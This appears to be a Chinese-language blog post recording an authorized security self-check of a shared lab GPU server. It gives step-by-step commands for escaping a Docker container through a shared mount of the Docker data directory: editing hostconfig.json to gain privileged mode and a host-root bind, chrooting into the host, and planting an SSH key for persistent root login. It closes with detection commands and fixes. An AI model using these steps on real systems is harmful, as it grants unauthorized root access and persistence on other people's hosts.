skip to content
Liu Yang's Blog

Docker 容器逃逸:通过共享目录篡改配置获取宿主机权限

/ 4 min read

Table of Contents

本文记录实验室 GPU 服务器的一次安全自查,所有操作均在有权限的环境下进行。

背景

实验室 GPU 服务器上跑了多个用户容器,每人一个,通过 SSH 各自登录使用。为了共享数据集,所有容器都挂载了同一个数据目录:

/data:/public_data

问题在于,Docker 的数据根目录恰好也在 /data/docker/。这意味着从容器内访问 /public_data/docker/containers/,就能看到宿主机上所有容器的运行时配置文件。


攻击路径

第一步:找到配置文件

Docker 每个容器的运行时配置保存在宿主机的:

/var/lib/docker/containers/<container-id>/hostconfig.json

本例中 Docker 数据根是 /data/docker/,因此容器内可以访问:

Terminal window
ls /public_data/docker/containers/
# 列出所有容器 ID

hostconfig.json 记录了 --privileged、卷挂载(Binds)、额外 capability 等运行时参数。

第二步:篡改配置

找到自己容器的 hostconfig.json,将 Privileged 改为 true,并追加宿主机根目录的挂载:

"Privileged": true,
"Binds": ["/data:/public_data", "/:/host_data"]

修改不会立即生效——Docker daemon 重启时才会重新读取这些文件。等待宿主机重启或 daemon 重启即可。

第三步:挂载宿主机硬盘

容器重启后以特权模式运行,且宿主机根目录挂载在 /host_data。此时可以直接 chroot 进去:

Terminal window
chroot /host_data /bin/bash

这等价于在宿主机上获得了 root shell。

第四步:注入 SSH 公钥

在宿主机 root 的 authorized_keys 中写入自己的公钥:

Terminal window
echo "<your-public-key>" >> /host_data/root/.ssh/authorized_keys

之后即可直接 SSH 登录宿主机,无需密码,权限为 root。


为什么这条路径很隐蔽

  • 不依赖任何 CVE,纯粹利用配置错误
  • 修改是持久化的,重启后生效
  • 只需要能写 /public_data/docker/containers/ 下的文件
  • 从挂载配置看,/data:/public_data 是”数据共享”,很容易被忽视

如何发现和修复

检查是否存在类似暴露:

Terminal window
# 查看所有容器的挂载,确认有没有把 Docker 数据目录挂进去
docker inspect $(docker ps -q) | jq '.[].HostConfig.Binds'

修复:

  1. 不要把 Docker 数据目录(/var/lib/docker/ 或自定义路径)放在共享卷路径下
  2. 只把实际需要的子目录挂进容器,而不是父目录
  3. 如果数据目录和 Docker 数据目录在同一个父路径下,把 Docker 数据根改到别处(/etc/docker/daemon.json 中的 data-root):
{
"data-root": "/var/lib/docker"
}
  1. 定期检查各容器的 Privileged 状态:
Terminal window
docker inspect $(docker ps -q) | jq '.[].Name, .[].HostConfig.Privileged'